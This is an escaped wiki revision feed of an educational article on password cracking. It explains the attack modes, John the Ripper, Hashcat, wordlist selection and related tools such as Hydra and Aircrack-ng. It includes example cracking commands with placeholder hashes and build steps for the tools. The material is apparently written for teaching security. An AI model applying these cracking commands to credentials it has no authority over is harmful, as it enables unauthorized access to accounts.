&amp;lt;li&amp;gt;john&amp;lt;/i&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashcat&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;RainbowCrack&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://crackstation.net crackstation.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://google.com Google]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;!--The following paragraphs present the most common modes used with password attacks. For supported attack modes consider the [https://www.openwall.com/john/doc/MODES.shtml john] and [https://hashcat.net/wiki/ hashcat] documentation or man pages instead.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Bruteforce attacks&#039;&#039;&#039; try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored.&lt;br /&gt;
* &#039;&#039;&#039;Dictionary attacks&#039;&#039;&#039; are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence.&lt;br /&gt;
* &#039;&#039;&#039;Rainbow attacks&#039;&#039;&#039; are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function.&lt;br /&gt;
* &#039;&#039;&#039;Hybrid attacks&#039;&#039;&#039; combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password is known.&lt;br /&gt;
* &#039;&#039;&#039;Rule-based attacks&#039;&#039;&#039; use methods to change passwords to cover all variants.&lt;br /&gt;
* &#039;&#039;&#039;Syllable attacks&#039;&#039;&#039;: Combination of bruteforce and dictionary attack checking all permutations of each word within a wordlist.&lt;br /&gt;
* &#039;&#039;&#039;Other attacks&#039;&#039;&#039;: Combinator, Fingerprint, Mask, Toggle-Case, Permutation, TableLookup, PRINCE.--&amp;gt;&lt;br /&gt;
&amp;lt;h3&amp;gt;Examples&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Hash detection&lt;br /&gt;
john $HASHFILE&lt;br /&gt;
&lt;br /&gt;
# Incremental Brute-force&lt;br /&gt;
john --incremental=ASCII $HASHFILE --format=dynamic_1 --fork=16&lt;br /&gt;
&lt;br /&gt;
# Rule-based&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
john $HASHFILE --format=dynamic_1 --rules=Wordlist,Single \&lt;br /&gt;
   --wordlist=$WORDLIST --fork=16&lt;br /&gt;
&lt;br /&gt;
# Custom rule that adds a new line to the end of ech password from a wordlist&lt;br /&gt;
cat AddNewLine.rule&lt;br /&gt;
[List.Rules:AddNewLine]&lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
sudo nice -n -20 john $HASHFILE --rules=AddNewLine.rule \&lt;br /&gt;
   --wordlist=$WORDLIST --format=Raw-SHA1&lt;br /&gt;
&lt;br /&gt;
# Bruteforce&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 3 password?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Wordlist + Mask attack&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 6 $WORDLIST ?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
# Custom Rule&lt;br /&gt;
cat AddNewLine.rule           &lt;br /&gt;
$\x0a&lt;br /&gt;
&lt;br /&gt;
# Straight attack /w custom rule&lt;br /&gt;
sudo nice -n -20 \&lt;br /&gt;
    hashcat -m 100 -r AddNewLine.rule \&lt;br /&gt;
    $HASH \&lt;br /&gt;
    -a 0 $WORDLIST&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Related&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[Password Security]]&lt;br /&gt;
* [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [W1] WeakPass: Pick the right wordlist. (Visited: 16.10.2020):&lt;br /&gt;
** https://weakpass.com/wordlist&lt;br /&gt;
** https://weakpass.com/calc&lt;br /&gt;
* [W2] Kali Linux: The quieter you become, the more you are able to hear https://www.kali.org (Visited: 25.11.2019)&lt;br /&gt;
* [W3] Openwall: John the Ripper password cracker (Visited: 22.11.2019): &lt;br /&gt;
** https://www.openwall.com/john/ &lt;br /&gt;
** https://openwall.info/wiki/john/benchmarks &lt;br /&gt;
** https://openwall.info/wiki/john/johnny &lt;br /&gt;
** https://openwall.info/wiki/john/GPU &lt;br /&gt;
** git://github.com/magnumripper/JohnTheRipper&lt;br /&gt;
** https://www.openwall.com/john/doc/MODES.shtml&lt;br /&gt;
** https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC&lt;br /&gt;
* [W4] Hashcat: Advanced Password Recovery (Visited: 23.11.2019): &lt;br /&gt;
** https://hashcat.net/hashcat/ &lt;br /&gt;
** https://hashcat.net/wiki/ &lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=hashcat &lt;br /&gt;
** https://github.com/hashcat/hashcat&lt;br /&gt;
** https://hashcat.net/wiki/doku.php?id=example_hashes&lt;br /&gt;
* [W5] Aircrack-ng: complete suite of tools to assess WiFi network security:&lt;br /&gt;
** https://www.aircrack-ng.org/documentation.html &lt;br /&gt;
** https://github.com/aircrack-ng/aircrack-ng&lt;br /&gt;
* [W6] Varonis: How to Use John the Ripper (Updated: 13.08.2019, Visited: 25.11.2019): &lt;br /&gt;
** https://www.varonis.com/blog/john-the-ripper/ &lt;br /&gt;
* [W7] NVIDIA: High Performance Computing (Visited: 25.11.2019):&lt;br /&gt;
** https://developer.nvidia.com/opencl &lt;br /&gt;
** https://developer.nvidia.com/cuda-zone &lt;br /&gt;
* [W8] ophcrack: a free Windows password cracker (Visited: 25.11.2019): &lt;br /&gt;
** https://ophcrack.sourceforge.io/&lt;br /&gt;
* [B1] Hash Crack: Password Cracking Manual. NETMUX, 2019, ISBN: 9781793458612.&lt;br /&gt;
* [P1] Special Publication 800-63: Digital Identity Guidelines. NIST, 2017, DOI: NIST.SP.800-63-3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4638</id>
		<title>Password Cracking</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4638"/>
		<updated>2020-10-16T12:54:36Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Major: Initial version&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
TODO:&lt;br /&gt;
- Explain salt and pepper&lt;br /&gt;
- Improve hashcat section&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;max-width: 970px; text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This articles provides the required knowledge in the field of &amp;lt;i&amp;gt;key recovery&amp;lt;/i&amp;gt;. It gives the reader a brief [[#Introduction|introduction]] to password cracking in general. It also provides [[#Background|background]] information about common [[#Password Attacks|password attacks]], [[#Attack Modes|attack modes]] and cracking [[#Miscellaneous Tools|tools]]. The article goes into more detail about the popular tools [[#John the Ripper|John the Ripper]] and [[#Hashcat|Hashcat]]. Furthermore presenting a [[#Procedure|general guideline]] for offline password cracking. See also [[#Related|Related Articles]]. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
Password cracking or Password recovery is used in IT-Security and Cryptanalysis to recover passwords or digital keys in general, which are the most critical part of a digital identity that is associated with a specific service. To acquire such digital keys, common Password Attacks are employed to infer the corresponding key. Other techniques, like social engineering or dumpster diving, are also possible in some scenarios. Keys are unspaced sets of characters that allow to authenticate against a given security mechanism in order to gain access to data, programs, or secured systems. However, these techniques could also be used to gain unauthorized access to a remote system.&lt;br /&gt;
&lt;br /&gt;
Once a key has been recovered, it can subsequently be used to undermine a digital authentication process, which provides privacy protection by mitigating risks of unauthorized access to individuals’ information. In other words, a key must be kept secret by a claimant, humanoid or not, while the verifier confirms the claimant’s identity. Additionally, choosing a strong password is crucial to prevent cracking and render recovery impossible. Furthermore, a Multi-factor (MFA) or Two-factor authentication (2FA) is recommended, since a claimant has to provide more factors to the verifier than just one key, which are something the claimant knows (knowledge), has (possession) or is (inherence), whereby a password recovery becomes pointless without knowing of the factors possession or inherence. [P1]&lt;br /&gt;
&lt;br /&gt;
It should be noted that keys can be available in various forms. On the one hand, clear-text passwords can be transmitted over the network or stored locally, which then only needs to be intercepted or found. On the other hand, passwords can also appear in encoded, hashed or obfuscated forms. The latter differs in that the obfuscated password is brought back to its original form with the appropriate reverse algorithm. In contrast, a hashed password benefits from the one-way properties of the algorithm used and can only be concluded by hashing guessed password repeatedly and comparing them to the target hash until the original password or any rare hash collision has been found. In the following, only hashed keys are treated.&lt;br /&gt;
&lt;br /&gt;
In order to be able to conclude on the original keys, high computing power is needed. Calculations can be done either by using CPUs with a small number of cores that have been developed for the sequential execution of processes. Alternatively, by using GPUs, which have a very high number of cores working in parallel, making them theoretically ideal for password cracking. The time to crack a password depends on its entropy, measured by the bit strength of a password and as well as the password length forming the target keyspace.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Background&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Password Attacks&amp;lt;/h2&amp;gt;&lt;br /&gt;
Password attacks can be performed in two ways. On the one hand, in the case of online attacks, designated system interfaces are used to try out passwords and, on the other hand, offline attacks in which hashed passwords were obtained via other channels and then processed locally at any time. Online attacks are much slower because the calculations are performed by the target, while the latency of the network link also plays an important role. Furthermore, such attacks could be detected and prevented by the attacked systems. Examples would be attacks on SSH or any web-based login form. On the other hand, offline attacks can no longer be detected after the hashes have been obtained and can be carried out highly effective since only hashes are calculated and compared here, but no further communication or processes between systems or the like are required.&lt;br /&gt;
&lt;br /&gt;
As it is common in most areas of life, there is not only black and white but also the grey zone in between. For this reason, it should be noted that there are also non-electronic attacks on passwords, such as dumpster diving or social engineering. But also more drastic but highly effective ways like Coercion by the government or Rubber-hose cryptanalysis (torture) can be taken, in which the human factor as the weakest link in the chain is attacked. This work is focused on offline attacks, and no human nor animal has been harmed during this work. See also [[Password Security]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Attack Modes&amp;lt;/h2&amp;gt;&lt;br /&gt;
The following paragraphs present the most common modes used with password attacks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Brute-force&amp;lt;/b&amp;gt; attacks try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored. Every hashed password is compared to the target hash on the fly until a match, and thus also a valid password has been found. This may be the original password or any rare hash collision. The success probability is given if the target password is in the known keyspace. However, for this attack, an extremely high computing power is needed to reach the target in a reasonable time.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dictionary&amp;lt;/b&amp;gt; attacks are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence. The advantage is that one can quickly cover the most common passwords, so that these kinds of attacks are very effective, as many users use common weak passwords which are easy to remember. This can easily be fought by using passwords without underlying semantics. The best-known wordlist is the rockyou.txt, which contains 32 million passwords. Its content originates from a data leak of the company RockYou from the year 2009, who stored their passwords in clear-text.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rainbow&amp;lt;/b&amp;gt; attacks are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function. This variant results in a time-memory trade-off, where the process is faster since only comparison operations have to be performed, but this is only effective if the rainbow-table is stored in RAM, furthermore rainbow-tables take up more space on the hard disk than wordlists. The use of a key derivation function that uses a salt makes this attack infeasible.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hybrid&amp;lt;/b&amp;gt; attacks combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password ist known. An example would be the use of the word ’password’ combined with all numbers from 0 to 9999. This is also very useful with usernames of com- panies using simple rules like an identifying string combined with an incrementing number. (e.g. Pass1234)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rule-based&amp;lt;/b&amp;gt; attacks use methods to change passwords to cover all variants. It is a very flexible and efficient attack, but also very complicated to cover all desired cases. Ideal if the password requirements for a system are known, since passwords shall be easy to remember while being secure at the same time, many users use common passwords and modify them in a way that they match the password policy. (e.g. ’P@ssw0rD’)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Syllable&amp;lt;/b&amp;gt; attacks are again a combination of brute force and dictionary attack in which all permutations of each word within a wordlist are checked. This is used when the password is not a real word and is often better than pure brute-forcing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt; attacks, like Combinator, Fingerprint, Mask, Toggle-Case, Permutation, Table- Lookup, PRINCE may be similar to the ones noted above and shall be mentioned but are not covered in any detail here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;John the Ripper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
John the Ripper acronyms for John or JtR is a popular open-source password cracker from the Openwall developers. Historically, the main use has been to find weak UNIX passwords. To this day, john has been evolved to be fast and rich in features. John has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks. It should be noted that john even provides the ability to define custom cracking modes using a built-in C compiler. The developers provide additional variants like a commercial John the Ripper Pro version and Hash Suite, which is recommended when using Android or Windows. Besides the above-mentioned programs, there is also a graphical version of John named [https://openwall.info/wiki/john/johnny Johnny], for those who are not friends of the console, that is available for Linux, macOS, and Windows.&lt;br /&gt;
&lt;br /&gt;
Furthermore John offers some support for CUDA and OpenCL [https://openwall.info/wiki/john/GPU GPUs]. Whereas, CUDA is a parallel computing platform and programming model developed by NVIDIA for general computing on graphical processing units (GPUs). With CUDA, developers are able to dramatically speed up computing applications by harnessing the power of GPUs. OpenCL (Open Computing Language), on the other hand, is a low-level API for heterogeneous computing that runs on CUDA-powered GPUs. Using the OpenCL API, developers can launch compute kernels written using a limited subset of the C programming language on a GPU. [W7] No official numbers have been found regarding the number of supported hash algorithms for john, but there are over 2000 difference algorithms included in the jumbo version. Many of the algorithms under john are combinations of algorithms. These combinations are identified by the foreword dynamic_ and a subsequent number. Such combinations only appear in the jumbo version and have been added by the community.&lt;br /&gt;
&lt;br /&gt;
Implementations exist for many UNIX-based systems such as Linux, macOS, Android, and Solaris, as well as for Windows. But also for more exotic devices running under DOS, BeOS, or OpenVMS. The resources are provided as pre-compiled binaries or as source code. The latter can then be adapted as desired and compiled for a specific system. A basic version of John can be installed using package managers such as apt, pkg, or snap. However, it is recommended to choose the community enhanced-jumbo version, which offers support for a variety of additional password hash types as well as non-hashes like SSH private keys, RAR archives, or PDF files. The following listing provides the necessary steps to clone and build latest bleeding-edge Jumbo version of John on most UNIX-based system. Source files for all versions could also be downloaded from [https://download.openwall.net/pub/projects/john/ Openwall.net]. See also [[Password cracking on Android]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 3 &lt;br /&gt;
# Build&lt;br /&gt;
cd ./john/src &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make -s clean &amp;amp;&amp;amp; make -sj4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Hashcat&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat is yet another very popular cross-platform cracking tool, whose developers claim to have developed the world’s fastest and most advanced open-source password recovery utility. Since [https://hashcat.net/wiki/ Hashcat] version 3, the old CPU-based hashcat-legacy and GPU-based oclHashcat have been merged. The tool allows to use all OpenCL compatible processors of the same device in parallel and even work distributed over the network. Hashcat supports five unique attack modes for more than 200 highly optimized hash algorithms. &lt;br /&gt;
&lt;br /&gt;
Hashcat currently supports CPUs, GPUs, and other hardware accelerators such as DSPs, FPGAs, and co-processors in Linux, Windows, and macOS, as well as distributed password decryption functions. Almost all of this information and much more can be found on the Hashcat man page, which is one of the best that I have seen so far. Hashcat can be downloaded via package manager like `apt` under Linux or `brew` on macOS. But here it is recommended to download the source files again and build it manually. Compared to john, however, fewer platforms are supported here. The processors available for each platform can be listed using the `-I` or `–opencl-info` flag. These may need the corresponding drivers for Intel, AMD, or NVIDIA to be addressed correctly. This process will not be successful on every platform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone https://github.com/hashcat/hashcat.git&lt;br /&gt;
# Build&lt;br /&gt;
cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Miscellaneous Tools&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There is no black and white, and all tools have their strengths as well as their weaknesses. Also, combinations between some are quite useful. This section consists mostly of descriptions of the individual developers as they can best introduce themselves and as this section is only intended to introduce further tools. Written-off paragraphs are marked with a footnote. Here the Kali Linux knowledge-base [W2] has been referenced, which in turn refer to the developers’ websites and Github repositories, as well as giving short usage examples. The following examples have been selected by versatility and range of application to present other great tools besides Hashcat and John. aircrack-ng suite to analyze and attack wireless networks. THC-Hydra, an online login cracker and the alternative ncrack for our nmap lovers, Medusa is be the third in line. WFuzz, the web application cracker and last but not least RainbowCrack which uses rainbow tables to crack passwords.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Aircrack-ng&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/wireless-attacks/aircrack-ng Aircrack-ng] is an 802.11 Wired Equivalent Privacy (WEP) and Wifi Protected Access pre-shared key (WPA-PSK) cracking program that can recover keys once enough data packets have been captured. It implements the standard Fluhrer, Mantin, and Shamir (FMS) attack along with some optimizations like KoreK attacks, as well as the all-new Pychkine-Tews-Weinmann (PTW) attack, thus making the attack much faster compared to other WEP. However, Aircrack-ng is much more than just a cracking program. &lt;br /&gt;
&lt;br /&gt;
The developers offer a versatile application suite for analyzing and attacking wireless networks. `aerodump-ng` even makes it possible to capture packets in a wireless network, and then attack contained handshakes of a WPA/WPA2-PSK using Hashcat or John efficiently. See also [[WPA/WPA2 PSK deauthentication attack]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;THC Hydra&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/hydra THC Hydra] is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;ncrack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/ncrack Ncrack] is a high-speed network authentication cracking tool. It was designed using a modular approach, a command-line syntax similar to Nmap, and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s, and many more. &lt;br /&gt;
&lt;br /&gt;
At this point should be noted that Nmap itself can be used for simple online attacks, by using the -script parameter with the desired script like telnet-brute.nse and the corresponding values for userdb and passwd with the additional parameter -script-args. See also [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WFuzz&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/web-applications/wfuzz Wfuzz] (the web fuzzer) is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc.), bruteforce Forms parameters (User/Password), Fuzzing, etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Rainbow Crack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat nor john are capable of performing rainbow attacks. This is were [https://tools.kali.org/password-attacks/rainbowcrack RainbowCrack] comes into the game. An alternative tool to perform rainbow attacks is Ophcrack, a free Windows (LM and NTLM) password cracker which also provides a GUI, and WOphcrack, a PHP based web frontend for Ophcrack.&lt;br /&gt;
&lt;br /&gt;
RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses a time-memory tradeoff algorithm to crack hashes. A time-memory tradeoff hash cracker needs a pre-computation stage. At the time, all plaintext/hash pairs within the selected hash algorithm, charset, plaintext length are computed, and results are stored in files called rainbow table. It is time-consuming to do this kind of computation. But once the one-time pre-computation is finished, hashes stored in the table can be cracked with much better performance than a brute force cracker.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wordlists&amp;lt;/h2&amp;gt;&lt;br /&gt;
Wordlist attcks are often the first step to take when cracking passwords, since most users use common passswords or mutations of those. Besides the classic &amp;lt;code&amp;gt;rockyou.txt&amp;lt;/code&amp;gt;, there are tons of wordlists for different use cases. For this purpose [https://weakpass.com weakpass.com] may be used used, which offers a great collection. Based on GeForce GTX 1060 6GB benchmark and [https://www.netmux.com/ Hash Crack] by [https://twitter.com/netmux Netmux], the following table can be mostly been respected as general guideline to select worldlists for initial runs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Example Hashtype&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Avg Speed&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~10 min&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~1 hour&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~3-4 hours&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;MD5, NTLM, SHA(1-256), MySQL&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;gt;5000 MH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;md5apr1, md5crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;5000 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;WPA/WPA2,sha256crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;200 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1802 HashesOrg]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;PBKDF2, bcrypt, sha512crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;5 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/545 dazzlepod]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/90 rockyou.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wordlist can also be created using web scraper, like the [https://github.com/digininja/cewl Custom Wordlist Generator] (&amp;lt;code&amp;gt;CeWL&amp;lt;/code&amp;gt;). Alternatively &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; can be used to create wordlists. In the following examples the rules single and wordlist are used to generate all possible mutations and permutations from a source wordlist.&lt;br /&gt;
&lt;br /&gt;
